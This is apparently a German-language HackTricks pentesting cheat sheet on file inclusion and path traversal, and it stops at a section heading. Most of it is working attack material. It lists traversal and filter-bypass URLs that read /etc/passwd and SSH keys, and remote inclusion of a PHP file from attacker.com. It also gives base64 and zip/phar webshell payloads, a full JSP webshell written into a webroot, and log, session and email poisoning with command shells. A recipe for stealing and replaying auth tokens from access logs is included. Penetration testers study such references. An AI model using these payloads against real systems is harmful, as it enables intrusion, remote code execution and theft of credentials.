File Inclusion/Path traversal
Reading time: 30 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
File Inclusion
Remote File Inclusion (RFI): Die Datei wird von einem entfernten Server geladen (Im besten Fall: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer in irgendeiner Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
Anfällige PHP-Funktionen: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Durch Mischen mehrerer *nix LFI-Listen und dem Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuche auch, / durch \ zu ersetzen
Versuche auch, ../../../../../ hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die vulnerability existiert), ist hier zu finden
Windows
Zusammenführung verschiedener Wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Versuche auch, / durch \ zu ersetzen
Versuche auch, C:/ zu entfernen und ../../../../../ hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die vulnerability existiert), ist hier zu finden
OS X
Siehe die LFI-Liste für linux.
Grundlegende LFI und Umgehungen
Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
Traversal-Sequenzen nicht rekursiv entfernt
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass des Anhängens weiterer Zeichen am Ende des übergebenen Strings (Bypass von: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dies ist seit PHP 5.4 behoben
Kodierung
Du könntest nicht standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Vom vorhandenen Ordner
Möglicherweise überprüft das back-end den Ordnerpfad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Erkundung von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Ermitteln der Verzeichnistiefe und das Abfragen nach dem Vorhandensein bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:
- Verzeichnistiefe bestimmen: Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei
/etc/passwdabrufst (anwendbar, wenn der Server Linux-basiert ist). Ein Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Auf Ordner prüfen: Hängen Sie den Namen des verdächtigen Ordners (z. B.
private) an die URL an, und navigieren Sie dann zurück zu/etc/passwd. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ergebnisse interpretieren: Der Serverantwort zeigt an, ob der Ordner existiert:
- Fehler / Keine Ausgabe: Der Ordner
privateexistiert wahrscheinlich nicht am angegebenen Ort. - Inhalt von
/etc/passwd: Das Vorhandensein des Ordnersprivatewird bestätigt.
- Rekursive Untersuchung: Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem die gleiche Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.
Um Verzeichnisse an anderen Stellen im Dateisystem zu erkunden, passen Sie das payload entsprechend an. Zum Beispiel, um zu prüfen, ob /var/www/ ein private-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich auf Tiefe 3), verwenden Sie:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation ist eine Methode, mit der Dateipfade in Webanwendungen manipuliert werden. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist, einen Dateipfad so zu gestalten, dass er, nachdem er vom Sicherheitsmechanismus verändert wurde, weiterhin auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Art des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:
/etc/passwd,/etc//passwd,/etc/./passwd, und/etc/passwd/werden alle als derselbe Pfad behandelt.- Wenn die letzten 6 Zeichen
passwdsind, ändert das Hinzufügen eines/(alsopasswd/) die Zieldatei nicht. - Ähnlich: wenn
.phpan einen Dateipfad angehängt ist (z. B.shellcode.php), ändert das Hinzufügen von/.am Ende nicht die aufgerufene Datei.
Die folgenden Beispiele zeigen, wie man path truncation verwendet, um auf /etc/passwd zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Informationen zu Benutzerkonten):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In diesen Szenarien könnte die benötigte Anzahl an traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können benutzt werden, um im Dateisystem zu navigieren und dabei angehängte Strings durch den Server effektiv zu ignorieren. - Determining the Required Number of Traversals: Durch Versuch und Irrtum lässt sich die genaue Anzahl von
../-Sequenzen ermitteln, die benötigt wird, um zum Root-Verzeichnis und anschließend zu/etc/passwdzu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie.php) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd) intakt bleibt. - Starting with a Fake Directory: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie
a/) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen, verwendet.
When employing path truncation techniques, ist es entscheidend, das Pfadparsing-Verhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Diese Schwachstelle wurde in PHP 5.3 behoben.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php ist das standardmäßig deaktiviert, weil allow_url_include auf Off steht. Es muss auf On gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erlangen:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Wenn aus irgendeinem Grund allow_url_include On ist, PHP aber den Zugriff auf externe Webseiten filtert, kannst du, laut diesem Beitrag, zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erlangen:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Im vorherigen Code wurde das abschließende +.txt hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf .txt endete, sodass die Zeichenkette damit endet und nach dem b64 decode dieser Teil nur Müll zurückgibt und der eigentliche PHP-Code eingebunden (und somit ausgeführt) wird.
Ein weiteres Beispiel, das nicht das php://-Protokoll verwendet, wäre:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root-Element
In Python, in einem Code wie diesem:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Wenn der Benutzer einen absoluten Pfad an file_name übergibt, wird der vorherige Pfad einfach entfernt:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Das ist das beabsichtigte Verhalten laut the docs:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen ab der absoluten Pfadkomponente fortgesetzt.
Java Verzeichnisauflistung
Es sieht so aus, dass wenn man eine Path Traversal in Java hat und man ein Verzeichnis anfordert statt einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Das passiert in anderen Sprachen nicht (afaik).
Top 25 parameters
Hier ist eine Liste der Top 25 Parameter, die für local file inclusion (LFI) Schwachstellen anfällig sein könnten (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI mit PHP wrappers & protocols
php://filter
PHP-Filter erlauben grundlegende Modifikationsoperationen an den Daten, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Wandelt in eine andere Zeichencodierung um (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Codierungen zu erhalten, führe in der Konsole aus:iconv -l
warning
Durch Missbrauch des convert.iconv.* Conversion-Filters kann man beliebigen Text erzeugen, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include beliebigen Text verarbeiten zu lassen. Für mehr Informationen siehe LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Komprimiert den Inhalt (nützlich, z. B. beim Exfiltrieren großer Datenmengen)zlib.inflate: Dekomprimiert die Daten- Encryption Filters
mcrypt.*: Veraltetmdecrypt.*: Veraltet- Other Filters
- Wenn man in PHP
var_dump(stream_get_filters());ausführt, findet man ein paar unerwartete Filter: consumeddechunk: kehrt HTTP-Chunked-Encoding umconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Der Teil "php://filter" unterscheidet nicht zwischen Groß- und Kleinschreibung
Using php filters as oracle to read arbitrary files
In this post wird eine Technik beschrieben, um eine lokale Datei zu lesen, ohne dass die Ausgabe direkt vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration of the file (char by char) using php filters als Oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Ausnahme wirft.
Im Original-Post findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
- Verwende den Codec
UCS-4LE, um das führende Zeichen des Textes am Anfang zu belassen und die String-Größe exponentiell zu erhöhen. - Dadurch wird ein Text so big when the initial letter is guessed correctly erzeugt, dass php einen Fehler auslöst.
- Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein hexadecimal ist, sodass wir wissen, ob das erste Zeichen hex ist.
- Das, kombiniert mit dem Vorherigen (und anderen Filtern, abhängig vom geratenen Buchstaben), erlaubt es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, damit er kein hexadezimales Zeichen mehr ist. Denn wenn er hex ist, löscht dechunk ihn nicht und die anfängliche Bombe löst den php-Fehler aus.
- Der Codec convert.iconv.UNICODE.CP930 verschiebt jeden Buchstaben zum nächsten (also nach diesem Codec: a -> b). Das erlaubt uns zu erkennen, ob das erste Zeichen z. B. ein
aist, denn wenn wir diesen Codec sechsmal anwenden (a->b->c->d->e->f->g), gehört der Buchstabe nicht mehr in den hex-Bereich, daher löscht dechunk ihn nicht und der php-Fehler wird ausgelöst, weil er mit der anfänglichen Bombe multipliziert. - Durch andere Transformationen wie rot13 am Anfang ist es möglich, andere chars zu leak wie n, o, p, q, r (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-codiert werden und man muss die ersten 2 Buchstaben leak, um die Zahl zu leak.
- Das finale Problem ist herauszufinden how to leak more than the initial letter. Durch die Verwendung von reorder-memory-Filtern wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Zeichen des Textes an die erste Position zu bringen.
- Und um weitere Daten zu erhalten, besteht die Idee darin, mit convert.iconv.UTF16.UTF16 2 bytes of junk data at the beginning zu generieren, UCS-4LE anzuwenden, damit diese mit den nächsten 2 Bytes pivot with the next 2 bytes, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie so fort, bis Sie das gewünschte Bit zum leak erreichen.
Im Post wurde auch ein Tool veröffentlicht, um das automatisch durchzuführen: php_filters_chain_oracle_exploit.
php://fd
Dieser Wrapper erlaubt den Zugriff auf file descriptors, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Du kannst außerdem php://stdin, php://stdout und php://stderr verwenden, um jeweils auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)
zip:// and rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist
expect://
Expect muss aktiviert sein. Du kannst damit Code ausführen:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Gib deinen Payload in den POST-Parametern an:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Eine .phar-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien nutzt. Der untenstehende PHP-Code zeigt die Erstellung einer .phar-Datei:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Um die .phar-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
php --define phar.readonly=0 create_path.php
Bei Ausführung wird eine Datei namens test.phar erstellt, die möglicherweise zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.
Wenn das LFI nur das Lesen von Dateien durchführt, ohne den PHP-Code darin auszuführen, z. B. über Funktionen wie file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize(), könnte versucht werden, eine Deserialisierungs-Schwachstelle auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das phar-Protokoll zusammen.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Es war möglich, beliebige file reads aus PHP, die php filters unterstützen, zu missbrauchen, um RCE zu erlangen. Die ausführliche Beschreibung kann found in this post.
Sehr kurze Zusammenfassung: Ein 3 byte overflow im PHP-Heap wurde ausgenutzt, um die Kette von free chunks einer bestimmten Größe zu verändern, sodass es möglich wurde, beliebiges an beliebige Adressen zu schreiben; dadurch wurde ein Hook hinzugefügt, der system aufruft.
Es war möglich, Chunks spezifischer Größen zu allokieren, indem weitere php filters missbraucht wurden.
More protocols
Siehe weitere mögliche protocols to include here:
- php://memory and php://temp — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion-Angriff nützlich sein kann)
- file:// — Zugriff auf das lokale Dateisystem
- http:// — Zugriff auf HTTP(s)-URLs
- ftp:// — Zugriff auf FTP(s)-URLs
- zlib:// — Compression Streams
- glob:// — Findet Pfadnamen, die einem Muster entsprechen (Gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Nicht nützlich, um beliebige Dateien zu lesen)
LFI via PHP's 'assert'
Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben, die Directory-Traversal-Zeichen wie ".." enthalten, überprüft, aber nicht richtig bereinigt werden.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
' and die(highlight_file('/etc/passwd')) or '
Ebenso kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
' and die(system("id")) or '
Es ist wichtig, URL-encode these payloads.
PHP Blind Path Traversal
warning
Diese Technik ist relevant in Fällen, in denen du den Dateipfad einer PHP function kontrollierst, die auf eine Datei zugreift, deren Inhalt du aber nicht sehen wirst (z. B. ein einfacher Aufruf von file()), der Inhalt jedoch nicht angezeigt wird.
In this incredible post wird erklärt, wie ein blind path traversal über PHP filter ausgenutzt werden kann, um den Inhalt einer Datei via einem error oracle zu exfiltrate.
Zusammengefasst verwendet die Technik die "UCS-4LE" encoding, um den Inhalt einer Datei so groß zu machen, dass die PHP function, die die Datei öffnet, einen error auslöst.
Dann wird, um das erste Zeichen zu leak, der Filter dechunk zusammen mit anderen wie base64 oder rot13 verwendet und schließlich die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE, um andere Zeichen am Anfang zu platzieren und sie zu leak.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Für technische Details siehe den erwähnten Post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad unter Verwendung von benutzerkontrollierten Daten (z. B. ein Dateiname oder URL) erstellt, ohne ihn zu kanonisieren und zu validieren, können ..-Segmente und absolute Pfade das beabsichtigte Verzeichnis verlassen und einen arbitrary file write verursachen. Wenn du das payload unter ein web-exposed directory platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine webshell ablegst.
Typischer Exploit-Workflow:
- Identifiziere ein write primitive in einem Endpoint oder Hintergrund-Worker, das einen path/filename akzeptiert und Inhalte auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exposed directories. Häufige Beispiele:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in das Webroot ausbricht, und füge deinen webshell-Inhalt ein.
- Rufe das abgelegte payload auf und führe Befehle aus.
Hinweise:
- Der verwundbare Service, der den Schreibvorgang durchführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird dein payload später ausliefern.
- Bei Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher
File/Paths-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist der Kernfehler.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Härtungsmaßnahmen, die diese Klasse von Fehlern verhindern:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Unterverzeichnis eines erlaubten Basisverzeichnisses ist.
- Jeden Pfad ablehnen, der
.., absolute Pfade oder Laufwerksbuchstaben enthält; bevorzugt generierte Dateinamen verwenden. - Den Schreibprozess als wenig privilegiertes Konto ausführen und Schreibverzeichnisse von den ausgelieferten Root-Verzeichnissen trennen.
Remote File Inclusion
Vorher erläutert, follow this link.
Über Apache/Nginx-Logdatei
Wenn der Apache- oder Nginx-Server innerhalb der include-Funktion vulnerable to LFI ist, könntest du versuchen, auf /var/log/apache2/access.log or /var/log/nginx/access.log zuzugreifen, im user agent oder in einem GET parameter eine PHP-Shell wie <?php system($_GET['c']); ?> zu setzen und diese Datei einzubinden
warning
Beachte, dass wenn du doppelte Anführungszeichen für die Shell statt einfacher Anführungszeichen verwendest, die doppelten Anführungszeichen für den String "quote;" modifiziert werden, PHP dort einen Fehler auslöst und nichts anderes ausgeführt wird.
Stelle außerdem sicher, dass du die payload korrekt schreibst oder PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler erzeugt und du keine zweite Gelegenheit bekommst.
Das könnte auch in anderen Logs gemacht werden, aber sei vorsichtig, der Code in den Logs könnte URL-codiert sein und das könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Weitere mögliche Logpfade:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Zugriffslogs lesen, um GET-basierte Auth-Tokens zu ernten (token replay)
Viele Apps akzeptieren fälschlicherweise Session-/Auth-Tokens via GET (z. B. AuthenticationToken, token, sid). Wenn du eine path traversal/LFI-primitive in die Webserver-Logs hast, kannst du diese Tokens aus den Zugriffslogs stehlen und replayen, um die Authentifizierung vollständig zu umgehen.
How-to:
- Verwende die traversal/LFI, um die Zugriffslogs des Webservers zu lesen. Übliche Speicherorte:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Einige Endpunkte liefern gelesene Dateien Base64-kodiert zurück. Falls ja, lokal dekodieren und die Logzeilen untersuchen.
- Grep nach GET-Requests, die einen token-Parameter enthalten, und extrahiere dessen Wert, dann gegen den Anwendungseinstiegspunkt replayen.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Dekodiere den Body, wenn er Base64-codiert ist, und spiele dann ein erfasstes Token ab:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Hinweise:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Wenn die App mehrere Token-Namen unterstützt, suche nach gängigen Keys wie AuthenticationToken, token, sid, access_token.
- Rotiere alle Tokens, die möglicherweise in Logs leaked sind.
Via E-Mail
Sende eine E-Mail an ein internes Konto (user@localhost), die dein PHP payload wie <?php echo system($_REQUEST["cmd"]); ?> enthält, und versuche, die Mail des Users mit einem Pfad wie /var/mail/<USERNAME> oder /var/spool/mail/<USERNAME> einzubinden.
Via /proc/*/fd/*
- Lade viele shells hoch (zum Beispiel: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, wobei $PID = PID des Prozesses ist (can be brute forced) und $FD der File-Descriptor ist (can be brute forced too)
Via /proc/self/environ
Wie eine Logdatei: sende das payload im User-Agent — es wird in der Datei /proc/self/environ reflektiert.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload darin (z.B.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/Dokumente/PDFs zu injizieren
Per ZIP-Datei-Upload
Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Über PHP sessions
Prüfe, ob die Website PHP Session verwendet (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP werden diese sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Setze das Cookie auf <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Verwende das LFI, um die PHP-Session-Datei einzubinden
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Über ssh
Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf <HOME>/.ssh/id_rsa zuzugreifen
Über vsftpd Protokolle
Die Logs des FTP-Servers vsftpd befinden sich unter /var/log/vsftpd.log. Im Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle existiert und ein Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
- Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs.
- Nach der Injektion nutze die LFI, um die Server-Logs aus /var/log/vsftpd.log auszulesen.
Über php base64-Filter (unter Verwendung von base64)
